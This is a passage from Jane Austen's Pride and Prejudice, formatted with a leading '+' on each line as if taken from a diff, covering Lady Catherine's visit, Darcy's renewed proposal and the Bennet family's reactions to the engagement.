+"The engagement between them is of a peculiar kind. From their infancy, +they have been intended for each other. It was the favourite wish of +_his_ mother, as well as of hers. While in their cradles, we planned +the union: and now, at the moment when the wishes of both sisters would +be accomplished in their marriage, to be prevented by a young woman of +inferior birth, of no importance in the world, and wholly unallied to +the family! Do you pay no regard to the wishes of his friends? To his +tacit engagement with Miss de Bourgh? Are you lost to every feeling of +propriety and delicacy? Have you not heard me say that from his earliest +hours he was destined for his cousin?" + +"Yes, and I had heard it before. But what is that to me? If there is +no other objection to my marrying your nephew, I shall certainly not +be kept from it by knowing that his mother and aunt wished him to +marry Miss de Bourgh. You both did as much as you could in planning the +marriage. Its completion depended on others. If Mr. Darcy is neither +by honour nor inclination confined to his cousin, why is not he to make +another choice? And if I am that choice, why may not I accept him?" + +"Because honour, decorum, prudence, nay, interest, forbid it. Yes, +Miss Bennet, interest; for do not expect to be noticed by his family or +friends, if you wilfully act against the inclinations of all. You will +be censured, slighted, and despised, by everyone connected with him. +Your alliance will be a disgrace; your name will never even be mentioned +by any of us." + +"These are heavy misfortunes," replied Elizabeth. "But the wife of Mr. +Darcy must have such extraordinary sources of happiness necessarily +attached to her situation, that she could, upon the whole, have no cause +to repine." + +"Obstinate, headstrong girl! I am ashamed of you! Is this your gratitude +for my attentions to you last spring? Is nothing due to me on that +score? Let us sit down. You are to understand, Miss Bennet, that I came +here with the determined resolution of carrying my purpose; nor will +I be dissuaded from it. I have not been used to submit to any person's +whims. I have not been in the habit of brooking disappointment." + +"_That_ will make your ladyship's situation at present more pitiable; +but it will have no effect on me." + +"I will not be interrupted. Hear me in silence. My daughter and my +nephew are formed for each other. They are descended, on the maternal +side, from the same noble line; and, on the father's, from respectable, +honourable, and ancient--though untitled--families. Their fortune on +both sides is splendid. They are destined for each other by the voice of +every member of their respective houses; and what is to divide them? +The upstart pretensions of a young woman without family, connections, +or fortune. Is this to be endured! But it must not, shall not be. If you +were sensible of your own good, you would not wish to quit the sphere in +which you have been brought up." + +"In marrying your nephew, I should not consider myself as quitting that +sphere. He is a gentleman; I am a gentleman's daughter; so far we are +equal." + +"True. You _are_ a gentleman's daughter. But who was your mother? +Who are your uncles and aunts? Do not imagine me ignorant of their +condition." + +"Whatever my connections may be," said Elizabeth, "if your nephew does +not object to them, they can be nothing to _you_." + +"Tell me once for all, are you engaged to him?" + +Though Elizabeth would not, for the mere purpose of obliging Lady +Catherine, have answered this question, she could not but say, after a +moment's deliberation: + +"I am not." + +Lady Catherine seemed pleased. + +"And will you promise me, never to enter into such an engagement?" + +"I will make no promise of the kind." + +"Miss Bennet I am shocked and astonished. I expected to find a more +reasonable young woman. But do not deceive yourself into a belief that +I will ever recede. I shall not go away till you have given me the +assurance I require." + +"And I certainly _never_ shall give it. I am not to be intimidated into +anything so wholly unreasonable. Your ladyship wants Mr. Darcy to marry +your daughter; but would my giving you the wished-for promise make their +marriage at all more probable? Supposing him to be attached to me, would +my refusing to accept his hand make him wish to bestow it on his cousin? +Allow me to say, Lady Catherine, that the arguments with which you have +supported this extraordinary application have been as frivolous as the +application was ill-judged. You have widely mistaken my character, if +you think I can be worked on by such persuasions as these. How far your +nephew might approve of your interference in his affairs, I cannot tell; +but you have certainly no right to concern yourself in mine. I must beg, +therefore, to be importuned no farther on the subject." + +"Not so hasty, if you please. I have by no means done. To all the +objections I have already urged, I have still another to add. I am +no stranger to the particulars of your youngest sister's infamous +elopement. I know it all; that the young man's marrying her was a +patched-up business, at the expence of your father and uncles. And is +such a girl to be my nephew's sister? Is her husband, is the son of his +late father's steward, to be his brother? Heaven and earth!--of what are +you thinking? Are the shades of Pemberley to be thus polluted?" + +"You can now have nothing further to say," she resentfully answered. +"You have insulted me in every possible method. I must beg to return to +the house." + +And she rose as she spoke. Lady Catherine rose also, and they turned +back. Her ladyship was highly incensed. + +"You have no regard, then, for the honour and credit of my nephew! +Unfeeling, selfish girl! Do you not consider that a connection with you +must disgrace him in the eyes of everybody?" + +"Lady Catherine, I have nothing further to say. You know my sentiments." + +"You are then resolved to have him?" + +"I have said no such thing. I am only resolved to act in that manner, +which will, in my own opinion, constitute my happiness, without +reference to _you_, or to any person so wholly unconnected with me." + +"It is well. You refuse, then, to oblige me. You refuse to obey the +claims of duty, honour, and gratitude. You are determined to ruin him in +the opinion of all his friends, and make him the contempt of the world." + +"Neither duty, nor honour, nor gratitude," replied Elizabeth, "have any +possible claim on me, in the present instance. No principle of either +would be violated by my marriage with Mr. Darcy. And with regard to the +resentment of his family, or the indignation of the world, if the former +_were_ excited by his marrying me, it would not give me one moment's +concern--and the world in general would have too much sense to join in +the scorn." + +"And this is your real opinion! This is your final resolve! Very well. +I shall now know how to act. Do not imagine, Miss Bennet, that your +ambition will ever be gratified. I came to try you. I hoped to find you +reasonable; but, depend upon it, I will carry my point." + +In this manner Lady Catherine talked on, till they were at the door of +the carriage, when, turning hastily round, she added, "I take no leave +of you, Miss Bennet. I send no compliments to your mother. You deserve +no such attention. I am most seriously displeased." + +Elizabeth made no answer; and without attempting to persuade her +ladyship to return into the house, walked quietly into it herself. She +heard the carriage drive away as she proceeded up stairs. Her mother +impatiently met her at the door of the dressing-room, to ask why Lady +Catherine would not come in again and rest herself. + +"She did not choose it," said her daughter, "she would go." + +"She is a very fine-looking woman! and her calling here was prodigiously +civil! for she only came, I suppose, to tell us the Collinses were +well. She is on her road somewhere, I dare say, and so, passing through +Meryton, thought she might as well call on you. I suppose she had +nothing particular to say to you, Lizzy?" + +Elizabeth was forced to give into a little falsehood here; for to +acknowledge the substance of their conversation was impossible. + + + +Chapter 57 + + +The discomposure of spirits which this extraordinary visit threw +Elizabeth into, could not be easily overcome; nor could she, for many +hours, learn to think of it less than incessantly. Lady Catherine, it +appeared, had actually taken the trouble of this journey from Rosings, +for the sole purpose of breaking off her supposed engagement with Mr. +Darcy. It was a rational scheme, to be sure! but from what the report +of their engagement could originate, Elizabeth was at a loss to imagine; +till she recollected that _his_ being the intimate friend of Bingley, +and _her_ being the sister of Jane, was enough, at a time when the +expectation of one wedding made everybody eager for another, to supply +the idea. She had not herself forgotten to feel that the marriage of her +sister must bring them more frequently together. And her neighbours +at Lucas Lodge, therefore (for through their communication with the +Collinses, the report, she concluded, had reached Lady Catherine), had +only set that down as almost certain and immediate, which she had looked +forward to as possible at some future time. + +In revolving Lady Catherine's expressions, however, she could not help +feeling some uneasiness as to the possible consequence of her persisting +in this interference. From what she had said of her resolution to +prevent their marriage, it occurred to Elizabeth that she must meditate +an application to her nephew; and how _he_ might take a similar +representation of the evils attached to a connection with her, she dared +not pronounce. She knew not the exact degree of his affection for his +aunt, or his dependence on her judgment, but it was natural to suppose +that he thought much higher of her ladyship than _she_ could do; and it +was certain that, in enumerating the miseries of a marriage with _one_, +whose immediate connections were so unequal to his own, his aunt would +address him on his weakest side. With his notions of dignity, he would +probably feel that the arguments, which to Elizabeth had appeared weak +and ridiculous, contained much good sense and solid reasoning. + +If he had been wavering before as to what he should do, which had often +seemed likely, the advice and entreaty of so near a relation might +settle every doubt, and determine him at once to be as happy as dignity +unblemished could make him. In that case he would return no more. Lady +Catherine might see him in her way through town; and his engagement to +Bingley of coming again to Netherfield must give way. + +"If, therefore, an excuse for not keeping his promise should come to his +friend within a few days," she added, "I shall know how to understand +it. I shall then give over every expectation, every wish of his +constancy. If he is satisfied with only regretting me, when he might +have obtained my affections and hand, I shall soon cease to regret him +at all." + + * * * * * + +The surprise of the rest of the family, on hearing who their visitor had +been, was very great; but they obligingly satisfied it, with the same +kind of supposition which had appeased Mrs. Bennet's curiosity; and +Elizabeth was spared from much teasing on the subject. + +The next morning, as she was going downstairs, she was met by her +father, who came out of his library with a letter in his hand. + +"Lizzy," said he, "I was going to look for you; come into my room." + +She followed him thither; and her curiosity to know what he had to +tell her was heightened by the supposition of its being in some manner +connected with the letter he held. It suddenly struck her that it +might be from Lady Catherine; and she anticipated with dismay all the +consequent explanations. + +She followed her father to the fire place, and they both sat down. He +then said, + +"I have received a letter this morning that has astonished me +exceedingly. As it principally concerns yourself, you ought to know its +contents. I did not know before, that I had two daughters on the brink +of matrimony. Let me congratulate you on a very important conquest." + +The colour now rushed into Elizabeth's cheeks in the instantaneous +conviction of its being a letter from the nephew, instead of the aunt; +and she was undetermined whether most to be pleased that he explained +himself at all, or offended that his letter was not rather addressed to +herself; when her father continued: + +"You look conscious. Young ladies have great penetration in such matters +as these; but I think I may defy even _your_ sagacity, to discover the +name of your admirer. This letter is from Mr. Collins." + +"From Mr. Collins! and what can _he_ have to say?" + +"Something very much to the purpose of course. He begins with +congratulations on the approaching nuptials of my eldest daughter, of +which, it seems, he has been told by some of the good-natured, gossiping +Lucases. I shall not sport with your impatience, by reading what he says +on that point. What relates to yourself, is as follows: 'Having thus +offered you the sincere congratulations of Mrs. Collins and myself on +this happy event, let me now add a short hint on the subject of another; +of which we have been advertised by the same authority. Your daughter +Elizabeth, it is presumed, will not long bear the name of Bennet, after +her elder sister has resigned it, and the chosen partner of her fate may +be reasonably looked up to as one of the most illustrious personages in +this land.' + +"Can you possibly guess, Lizzy, who is meant by this? 'This young +gentleman is blessed, in a peculiar way, with every thing the heart of +mortal can most desire,--splendid property, noble kindred, and extensive +patronage. Yet in spite of all these temptations, let me warn my cousin +Elizabeth, and yourself, of what evils you may incur by a precipitate +closure with this gentleman's proposals, which, of course, you will be +inclined to take immediate advantage of.' + +"Have you any idea, Lizzy, who this gentleman is? But now it comes out: + +"'My motive for cautioning you is as follows. We have reason to imagine +that his aunt, Lady Catherine de Bourgh, does not look on the match with +a friendly eye.' + +"_Mr. Darcy_, you see, is the man! Now, Lizzy, I think I _have_ +surprised you. Could he, or the Lucases, have pitched on any man within +the circle of our acquaintance, whose name would have given the lie +more effectually to what they related? Mr. Darcy, who never looks at any +woman but to see a blemish, and who probably never looked at you in his +life! It is admirable!" + +Elizabeth tried to join in her father's pleasantry, but could only force +one most reluctant smile. Never had his wit been directed in a manner so +little agreeable to her. + +"Are you not diverted?" + +"Oh! yes. Pray read on." + +"'After mentioning the likelihood of this marriage to her ladyship last +night, she immediately, with her usual condescension, expressed what she +felt on the occasion; when it became apparent, that on the score of some +family objections on the part of my cousin, she would never give her +consent to what she termed so disgraceful a match. I thought it my duty +to give the speediest intelligence of this to my cousin, that she and +her noble admirer may be aware of what they are about, and not run +hastily into a marriage which has not been properly sanctioned.' Mr. +Collins moreover adds, 'I am truly rejoiced that my cousin Lydia's sad +business has been so well hushed up, and am only concerned that their +living together before the marriage took place should be so generally +known. I must not, however, neglect the duties of my station, or refrain +from declaring my amazement at hearing that you received the young +couple into your house as soon as they were married. It was an +encouragement of vice; and had I been the rector of Longbourn, I should +very strenuously have opposed it. You ought certainly to forgive them, +as a Christian, but never to admit them in your sight, or allow their +names to be mentioned in your hearing.' That is his notion of Christian +forgiveness! The rest of his letter is only about his dear Charlotte's +situation, and his expectation of a young olive-branch. But, Lizzy, you +look as if you did not enjoy it. You are not going to be _missish_, +I hope, and pretend to be affronted at an idle report. For what do we +live, but to make sport for our neighbours, and laugh at them in our +turn?" + +"Oh!" cried Elizabeth, "I am excessively diverted. But it is so +strange!" + +"Yes--_that_ is what makes it amusing. Had they fixed on any other man +it would have been nothing; but _his_ perfect indifference, and _your_ +pointed dislike, make it so delightfully absurd! Much as I abominate +writing, I would not give up Mr. Collins's correspondence for any +consideration. Nay, when I read a letter of his, I cannot help giving +him the preference even over Wickham, much as I value the impudence and +hypocrisy of my son-in-law. And pray, Lizzy, what said Lady Catherine +about this report? Did she call to refuse her consent?" + +To this question his daughter replied only with a laugh; and as it had +been asked without the least suspicion, she was not distressed by +his repeating it. Elizabeth had never been more at a loss to make her +feelings appear what they were not. It was necessary to laugh, when she +would rather have cried. Her father had most cruelly mortified her, by +what he said of Mr. Darcy's indifference, and she could do nothing but +wonder at such a want of penetration, or fear that perhaps, instead of +his seeing too little, she might have fancied too much. + + + +Chapter 58 + + +Instead of receiving any such letter of excuse from his friend, as +Elizabeth half expected Mr. Bingley to do, he was able to bring Darcy +with him to Longbourn before many days had passed after Lady Catherine's +visit. The gentlemen arrived early; and, before Mrs. Bennet had time +to tell him of their having seen his aunt, of which her daughter sat +in momentary dread, Bingley, who wanted to be alone with Jane, proposed +their all walking out. It was agreed to. Mrs. Bennet was not in the +habit of walking; Mary could never spare time; but the remaining five +set off together. Bingley and Jane, however, soon allowed the others +to outstrip them. They lagged behind, while Elizabeth, Kitty, and Darcy +were to entertain each other. Very little was said by either; Kitty +was too much afraid of him to talk; Elizabeth was secretly forming a +desperate resolution; and perhaps he might be doing the same. + +They walked towards the Lucases, because Kitty wished to call upon +Maria; and as Elizabeth saw no occasion for making it a general concern, +when Kitty left them she went boldly on with him alone. Now was the +moment for her resolution to be executed, and, while her courage was +high, she immediately said: + +"Mr. Darcy, I am a very selfish creature; and, for the sake of giving +relief to my own feelings, care not how much I may be wounding yours. I +can no longer help thanking you for your unexampled kindness to my +poor sister. Ever since I have known it, I have been most anxious to +acknowledge to you how gratefully I feel it. Were it known to the rest +of my family, I should not have merely my own gratitude to express." + +"I am sorry, exceedingly sorry," replied Darcy, in a tone of surprise +and emotion, "that you have ever been informed of what may, in a +mistaken light, have given you uneasiness. I did not think Mrs. Gardiner +was so little to be trusted." + +"You must not blame my aunt. Lydia's thoughtlessness first betrayed to +me that you had been concerned in the matter; and, of course, I could +not rest till I knew the particulars. Let me thank you again and again, +in the name of all my family, for that generous compassion which induced +you to take so much trouble, and bear so many mortifications, for the +sake of discovering them." + +"If you _will_ thank me," he replied, "let it be for yourself alone. +That the wish of giving happiness to you might add force to the other +inducements which led me on, I shall not attempt to deny. But your +_family_ owe me nothing. Much as I respect them, I believe I thought +only of _you_." + +Elizabeth was too much embarrassed to say a word. After a short pause, +her companion added, "You are too generous to trifle with me. If your +feelings are still what they were last April, tell me so at once. _My_ +affections and wishes are unchanged, but one word from you will silence +me on this subject for ever." + +Elizabeth, feeling all the more than common awkwardness and anxiety of +his situation, now forced herself to speak; and immediately, though not +very fluently, gave him to understand that her sentiments had undergone +so material a change, since the period to which he alluded, as to make +her receive with gratitude and pleasure his present assurances. The +happiness which this reply produced, was such as he had probably never +felt before; and he expressed himself on the occasion as sensibly and as +warmly as a man violently in love can be supposed to do. Had Elizabeth +been able to encounter his eye, she might have seen how well the +expression of heartfelt delight, diffused over his face, became him; +but, though she could not look, she could listen, and he told her of +feelings, which, in proving of what importance she was to him, made his +affection every moment more valuable. + +They walked on, without knowing in what direction. There was too much to +be thought, and felt, and said, for attention to any other objects. She +soon learnt that they were indebted for their present good understanding +to the efforts of his aunt, who did call on him in her return through +London, and there relate her journey to Longbourn, its motive, and the +substance of her conversation with Elizabeth; dwelling emphatically on +every expression of the latter which, in her ladyship's apprehension, +peculiarly denoted her perverseness and assurance; in the belief that +such a relation must assist her endeavours to obtain that promise +from her nephew which she had refused to give. But, unluckily for her +ladyship, its effect had been exactly contrariwise. + +"It taught me to hope," said he, "as I had scarcely ever allowed myself +to hope before. I knew enough of your disposition to be certain that, +had you been absolutely, irrevocably decided against me, you would have +acknowledged it to Lady Catherine, frankly and openly." + +Elizabeth coloured and laughed as she replied, "Yes, you know enough +of my frankness to believe me capable of _that_. After abusing you so +abominably to your face, I could have no scruple in abusing you to all +your relations." + +"What did you say of me, that I did not deserve? For, though your +accusations were ill-founded, formed on mistaken premises, my +behaviour to you at the time had merited the severest reproof. It was +unpardonable. I cannot think of it without abhorrence." + +"We will not quarrel for the greater share of blame annexed to that +evening," said Elizabeth. "The conduct of neither, if strictly examined, +will be irreproachable; but since then, we have both, I hope, improved +in civility." + +"I cannot be so easily reconciled to myself. The recollection of what I +then said, of my conduct, my manners, my expressions during the whole of +it, is now, and has been many months, inexpressibly painful to me. Your +reproof, so well applied, I shall never forget: 'had you behaved in a +more gentlemanlike manner.' Those were your words. You know not, you can +scarcely conceive, how they have tortured me;--though it was some time, +I confess, before I was reasonable enough to allow their justice." + +"I was certainly very far from expecting them to make so strong an +impression. I had not the smallest idea of their being ever felt in such +a way." + +"I can easily believe it. You thought me then devoid of every proper +feeling, I am sure you did. The turn of your countenance I shall never +forget, as you said that I could not have addressed you in any possible +way that would induce you to accept me." + +"Oh! do not repeat what I then said. These recollections will not do at +all. I assure you that I have long been most heartily ashamed of it." + +Darcy mentioned his letter. "Did it," said he, "did it soon make you +think better of me? Did you, on reading it, give any credit to its +contents?" + +She explained what its effect on her had been, and how gradually all her +former prejudices had been removed. + +"I knew," said he, "that what I wrote must give you pain, but it was +necessary. I hope you have destroyed the letter. There was one part +especially, the opening of it, which I should dread your having the +power of reading again. I can remember some expressions which might +justly make you hate me." + +"The letter shall certainly be burnt, if you believe it essential to the +preservation of my regard; but, though we have both reason to think my +opinions not entirely unalterable, they are not, I hope, quite so easily +changed as that implies." + +"When I wrote that letter," replied Darcy, "I believed myself perfectly +calm and cool, but I am since convinced that it was written in a +dreadful bitterness of spirit." + +"The letter, perhaps, began in bitterness, but it did not end so. The +adieu is charity itself. But think no more of the letter. The feelings +of the person who wrote, and the person who received it, are now +so widely different from what they were then, that every unpleasant +circumstance attending it ought to be forgotten. You must learn some +of my philosophy. Think only of the past as its remembrance gives you +pleasure." + +"I cannot give you credit for any philosophy of the kind. Your +retrospections must be so totally void of reproach, that the contentment +arising from them is not of philosophy, but, what is much better, of +innocence. But with me, it is not so. Painful recollections will intrude +which cannot, which ought not, to be repelled. I have been a selfish +being all my life, in practice, though not in principle. As a child I +was taught what was right, but I was not taught to correct my temper. I +was given good principles, but left to follow them in pride and conceit. +Unfortunately an only son (for many years an only child), I was spoilt +by my parents, who, though good themselves (my father, particularly, all +that was benevolent and amiable), allowed, encouraged, almost taught +me to be selfish and overbearing; to care for none beyond my own family +circle; to think meanly of all the rest of the world; to wish at least +to think meanly of their sense and worth compared with my own. Such I +was, from eight to eight and twenty; and such I might still have been +but for you, dearest, loveliest Elizabeth! What do I not owe you! You +taught me a lesson, hard indeed at first, but most advantageous. By you, +I was properly humbled. I came to you without a doubt of my reception. +You showed me how insufficient were all my pretensions to please a woman +worthy of being pleased." + +"Had you then persuaded yourself that I should?" + +"Indeed I had. What will you think of my vanity? I believed you to be +wishing, expecting my addresses." + +"My manners must have been in fault, but not intentionally, I assure +you. I never meant to deceive you, but my spirits might often lead me +wrong. How you must have hated me after _that_ evening?" + +"Hate you! I was angry perhaps at first, but my anger soon began to take +a proper direction." + +"I am almost afraid of asking what you thought of me, when we met at +Pemberley. You blamed me for coming?" + +"No indeed; I felt nothing but surprise." + +"Your surprise could not be greater than _mine_ in being noticed by you. +My conscience told me that I deserved no extraordinary politeness, and I +confess that I did not expect to receive _more_ than my due." + +"My object then," replied Darcy, "was to show you, by every civility in +my power, that I was not so mean as to resent the past; and I hoped to +obtain your forgiveness, to lessen your ill opinion, by letting you +see that your reproofs had been attended to. How soon any other wishes +introduced themselves I can hardly tell, but I believe in about half an +hour after I had seen you." + +He then told her of Georgiana's delight in her acquaintance, and of her +disappointment at its sudden interruption; which naturally leading to +the cause of that interruption, she soon learnt that his resolution of +following her from Derbyshire in quest of her sister had been formed +before he quitted the inn, and that his gravity and thoughtfulness +there had arisen from no other struggles than what such a purpose must +comprehend. + +She expressed her gratitude again, but it was too painful a subject to +each, to be dwelt on farther. + +After walking several miles in a leisurely manner, and too busy to know +anything about it, they found at last, on examining their watches, that +it was time to be at home. + +"What could become of Mr. Bingley and Jane!" was a wonder which +introduced the discussion of their affairs. Darcy was delighted with +their engagement; his friend had given him the earliest information of +it. + +"I must ask whether you were surprised?" said Elizabeth. + +"Not at all. When I went away, I felt that it would soon happen." + +"That is to say, you had given your permission. I guessed as much." And +though he exclaimed at the term, she found that it had been pretty much +the case. + +"On the evening before my going to London," said he, "I made a +confession to him, which I believe I ought to have made long ago. I +told him of all that had occurred to make my former interference in his +affairs absurd and impertinent. His surprise was great. He had never had +the slightest suspicion. I told him, moreover, that I believed myself +mistaken in supposing, as I had done, that your sister was indifferent +to him; and as I could easily perceive that his attachment to her was +unabated, I felt no doubt of their happiness together." + +Elizabeth could not help smiling at his easy manner of directing his +friend. + +"Did you speak from your own observation," said she, "when you told him +that my sister loved him, or merely from my information last spring?" + +"From the former. I had narrowly observed her during the two visits +which I had lately made here; and I was convinced of her affection." + +"And your assurance of it, I suppose, carried immediate conviction to +him." + +"It did. Bingley is most unaffectedly modest. His diffidence had +prevented his depending on his own judgment in so anxious a case, but +his reliance on mine made every thing easy. I was obliged to confess +one thing, which for a time, and not unjustly, offended him. I could not +allow myself to conceal that your sister had been in town three months +last winter, that I had known it, and purposely kept it from him. He was +angry. But his anger, I am persuaded, lasted no longer than he remained +in any doubt of your sister's sentiments. He has heartily forgiven me +now." + +Elizabeth longed to observe that Mr. Bingley had been a most delightful +friend; so easily guided that his worth was invaluable; but she checked +herself. She remembered that he had yet to learn to be laughed at, +and it was rather too early to begin. In anticipating the happiness +of Bingley, which of course was to be inferior only to his own, he +continued the conversation till they reached the house. In the hall they +parted. + + + +Chapter 59 + + +"My dear Lizzy, where can you have been walking to?" was a question +which Elizabeth received from Jane as soon as she entered their room, +and from all the others when they sat down to table. She had only to +say in reply, that they had wandered about, till she was beyond her own +knowledge. She coloured as she spoke; but neither that, nor anything +else, awakened a suspicion of the truth. + +The evening passed quietly, unmarked by anything extraordinary. The +acknowledged lovers talked and laughed, the unacknowledged were silent. +Darcy was not of a disposition in which happiness overflows in mirth; +and Elizabeth, agitated and confused, rather _knew_ that she was happy +than _felt_ herself to be so; for, besides the immediate embarrassment, +there were other evils before her. She anticipated what would be felt +in the family when her situation became known; she was aware that no +one liked him but Jane; and even feared that with the others it was a +dislike which not all his fortune and consequence might do away. + +At night she opened her heart to Jane. Though suspicion was very far +from Miss Bennet's general habits, she was absolutely incredulous here. + +"You are joking, Lizzy. This cannot be!--engaged to Mr. Darcy! No, no, +you shall not deceive me. I know it to be impossible." + +"This is a wretched beginning indeed! My sole dependence was on you; and +I am sure nobody else will believe me, if you do not. Yet, indeed, I am +in earnest. I speak nothing but the truth. He still loves me, and we are +engaged." + +Jane looked at her doubtingly. "Oh, Lizzy! it cannot be. I know how much +you dislike him." + +"You know nothing of the matter. _That_ is all to be forgot. Perhaps I +did not always love him so well as I do now. But in such cases as +these, a good memory is unpardonable. This is the last time I shall ever +remember it myself." + +Miss Bennet still looked all amazement. Elizabeth again, and more +seriously assured her of its truth. + +"Good Heaven! can it be really so! Yet now I must believe you," cried +Jane. "My dear, dear Lizzy, I would--I do congratulate you--but are you +certain? forgive the question--are you quite certain that you can be +happy with him?" + +"There can be no doubt of that. It is settled between us already, that +we are to be the happiest couple in the world. But are you pleased, +Jane? Shall you like to have such a brother?" + +"Very, very much. Nothing could give either Bingley or myself more +delight. But we considered it, we talked of it as impossible. And do you +really love him quite well enough? Oh, Lizzy! do anything rather than +marry without affection. Are you quite sure that you feel what you ought +to do?" + +"Oh, yes! You will only think I feel _more_ than I ought to do, when I +tell you all." + +"What do you mean?" + +"Why, I must confess that I love him better than I do Bingley. I am +afraid you will be angry." + +"My dearest sister, now _be_ serious. I want to talk very seriously. Let +me know every thing that I am to know, without delay. Will you tell me +how long you have loved him?" + +"It has been coming on so gradually, that I hardly know when it began. +But I believe I must date it from my first seeing his beautiful grounds +at Pemberley." + +Another entreaty that she would be serious, however, produced the +desired effect; and she soon satisfied Jane by her solemn assurances +of attachment. When convinced on that article, Miss Bennet had nothing +further to wish. + +"Now I am quite happy," said she, "for you will be as happy as myself. +I always had a value for him. Were it for nothing but his love of you, +I must always have esteemed him; but now, as Bingley's friend and your +husband, there can be only Bingley and yourself more dear to me. But +Lizzy, you have been very sly, very reserved with me. How little did you +tell me of what passed at Pemberley and Lambton! I owe all that I know +of it to another, not to you." + +Elizabeth told her the motives of her secrecy. She had been unwilling +to mention Bingley; and the unsettled state of her own feelings had made +her equally avoid the name of his friend. But now she would no longer +conceal from her his share in Lydia's marriage. All was acknowledged, +and half the night spent in conversation. + + * * * * * + +"Good gracious!" cried Mrs. Bennet, as she stood at a window the next +morning, "if that disagreeable Mr. Darcy is not coming here again with +our dear Bingley! What can he mean by being so tiresome as to be always +coming here? I had no notion but he would go a-shooting, or something or +other, and not disturb us with his company. What shall we do with him? +Lizzy, you must walk out with him again, that he may not be in Bingley's +way." + +Elizabeth could hardly help laughing at so convenient a proposal; yet +was really vexed that her mother should be always giving him such an +epithet. + +As soon as they entered, Bingley looked at her so expressively, and +shook hands with such warmth, as left no doubt of his good information; +and he soon afterwards said aloud, "Mrs. Bennet, have you no more lanes +hereabouts in which Lizzy may lose her way again to-day?" + +"I advise Mr. Darcy, and Lizzy, and Kitty," said Mrs. Bennet, "to walk +to Oakham Mount this morning. It is a nice long walk, and Mr. Darcy has +never seen the view." + +"It may do very well for the others," replied Mr. Bingley; "but I am +sure it will be too much for Kitty. Won't it, Kitty?" Kitty owned that +she had rather stay at home. Darcy professed a great curiosity to see +the view from the Mount, and Elizabeth silently consented. As she went +up stairs to get ready, Mrs. Bennet followed her, saying: + +"I am quite sorry, Lizzy, that you should be forced to have that +disagreeable man all to yourself. But I hope you will not mind it: it is +all for Jane's sake, you know; and there is no occasion for talking +to him, except just now and then. So, do not put yourself to +inconvenience." + +During their walk, it was resolved that Mr. Bennet's consent should be +asked in the course of the evening. Elizabeth reserved to herself the +application for her mother's. She could not determine how her mother +would take it; sometimes doubting whether all his wealth and grandeur +would be enough to overcome her abhorrence of the man. But whether she +were violently set against the match, or violently delighted with it, it +was certain that her manner would be equally ill adapted to do credit +to her sense; and she could no more bear that Mr. Darcy should hear +the first raptures of her joy, than the first vehemence of her +disapprobation. + + * * * * * + +In the evening, soon after Mr. Bennet withdrew to the library, she saw +Mr. Darcy rise also and follow him, and her agitation on seeing it was +extreme. She did not fear her father's opposition, but he was going to +be made unhappy; and that it should be through her means--that _she_, +his favourite child, should be distressing him by her choice, should be +filling him with fears and regrets in disposing of her--was a wretched +reflection, and she sat in misery till Mr. Darcy appeared again, when, +looking at him, she was a little relieved by his smile. In a few minutes +he approached the table where she was sitting with Kitty; and, while +pretending to admire her work said in a whisper, "Go to your father, he +wants you in the library." She was gone directly. + +Her father was walking about the room, looking grave and anxious. +"Lizzy," said he, "what are you doing? Are you out of your senses, to be +accepting this man? Have not you always hated him?" + +How earnestly did she then wish that her former opinions had been more +reasonable, her expressions more moderate! It would have spared her from +explanations and professions which it was exceedingly awkward to give; +but they were now necessary, and she assured him, with some confusion, +of her attachment to Mr. Darcy. + +"Or, in other words, you are determined to have him. He is rich, to be +sure, and you may have more fine clothes and fine carriages than Jane. +But will they make you happy?" + +"Have you any other objection," said Elizabeth, "than your belief of my +indifference?" + +"None at all. We all know him to be a proud, unpleasant sort of man; but +this would be nothing if you really liked him." + +"I do, I do like him," she replied, with tears in her eyes, "I love him. +Indeed he has no improper pride. He is perfectly amiable. You do not +know what he really is; then pray do not pain me by speaking of him in +such terms." + +"Lizzy," said her father, "I have given him my consent. He is the kind +of man, indeed, to whom I should never dare refuse anything, which he +condescended to ask. I now give it to _you_, if you are resolved on +having him. But let me advise you to think better of it. I know +your disposition, Lizzy. I know that you could be neither happy nor +respectable, unless you truly esteemed your husband; unless you looked +up to him as a superior. Your lively talents would place you in the +greatest danger in an unequal marriage. You could scarcely escape +discredit and misery. My child, let me not have the grief of seeing +_you_ unable to respect your partner in life. You know not what you are +about." + +Elizabeth, still more affected, was earnest and solemn in her reply; and +at length, by repeated assurances that Mr. Darcy was really the object +of her choice, by explaining the gradual change which her estimation of +him had undergone, relating her absolute certainty that his affection +was not the work of a day, but had stood the test of many months' +suspense, and enumerating with energy all his good qualities, she did +conquer her father's incredulity, and reconcile him to the match. + +"Well, my dear," said he, when she ceased speaking, "I have no more to +say. If this be the case, he deserves you. I could not have parted with +you, my Lizzy, to anyone less worthy." + +To complete the favourable impression, she then told him what Mr. Darcy +had voluntarily done for Lydia. He heard her with astonishment. + +"This is an evening of wonders, indeed! And so, Darcy did every thing; +made up the match, gave the money, paid the fellow's debts, and got him +his commission! So much the better. It will save me a world of trouble +and economy. Had it been your uncle's doing, I must and _would_ have +paid him; but these violent young lovers carry every thing their own +way. I shall offer to pay him to-morrow; he will rant and storm about +his love for you, and there will be an end of the matter." + +He then recollected her embarrassment a few days before, on his reading +Mr. Collins's letter; and after laughing at her some time, allowed her +at last to go--saying, as she quitted the room, "If any young men come +for Mary or Kitty, send them in, for I am quite at leisure." + +Elizabeth's mind was now relieved from a very heavy weight; and, after +half an hour's quiet reflection in her own room, she was able to join +the others with tolerable composure. Every thing was too recent for +gaiety, but the evening passed tranquilly away; there was no longer +anything material to be dreaded, and the comfort of ease and familiarity +would come in time. + +When her mother went up to her dressing-room at night, she followed her, +and made the important communication. Its effect was most extraordinary; +for on first hearing it, Mrs. Bennet sat quite still, and unable to +utter a syllable. Nor was it under many, many minutes that she could +comprehend what she heard; though not in general backward to credit +what was for the advantage of her family, or that came in the shape of a +lover to any of them. She began at length to recover, to fidget about in +her chair, get up, sit down again, wonder, and bless herself. + +"Good gracious! Lord bless me! only think! dear me! Mr. Darcy! Who would +have thought it! And is it really true? Oh! my sweetest Lizzy! how rich +and how great you will be! What pin-money, what jewels, what carriages +you will have! Jane's is nothing to it--nothing at all. I am so +pleased--so happy. Such a charming man!--so handsome! so tall!--Oh, my +dear Lizzy! pray apologise for my having disliked him so much before. I +hope he will overlook it. Dear, dear Lizzy. A house in town! Every thing +that is charming! Three daughters married! Ten thousand a year! Oh, +Lord! What will become of me. I shall go distracted." + +This was enough to prove that her approbation need not be doubted: and +Elizabeth, rejoicing that such an effusion was heard only by herself, +soon went away. But before she had been three minutes in her own room, +her mother followed her. + +"My dearest child," she cried, "I can think of nothing else! Ten +thousand a year, and very likely more! 'Tis as good as a Lord! And a +special licence. 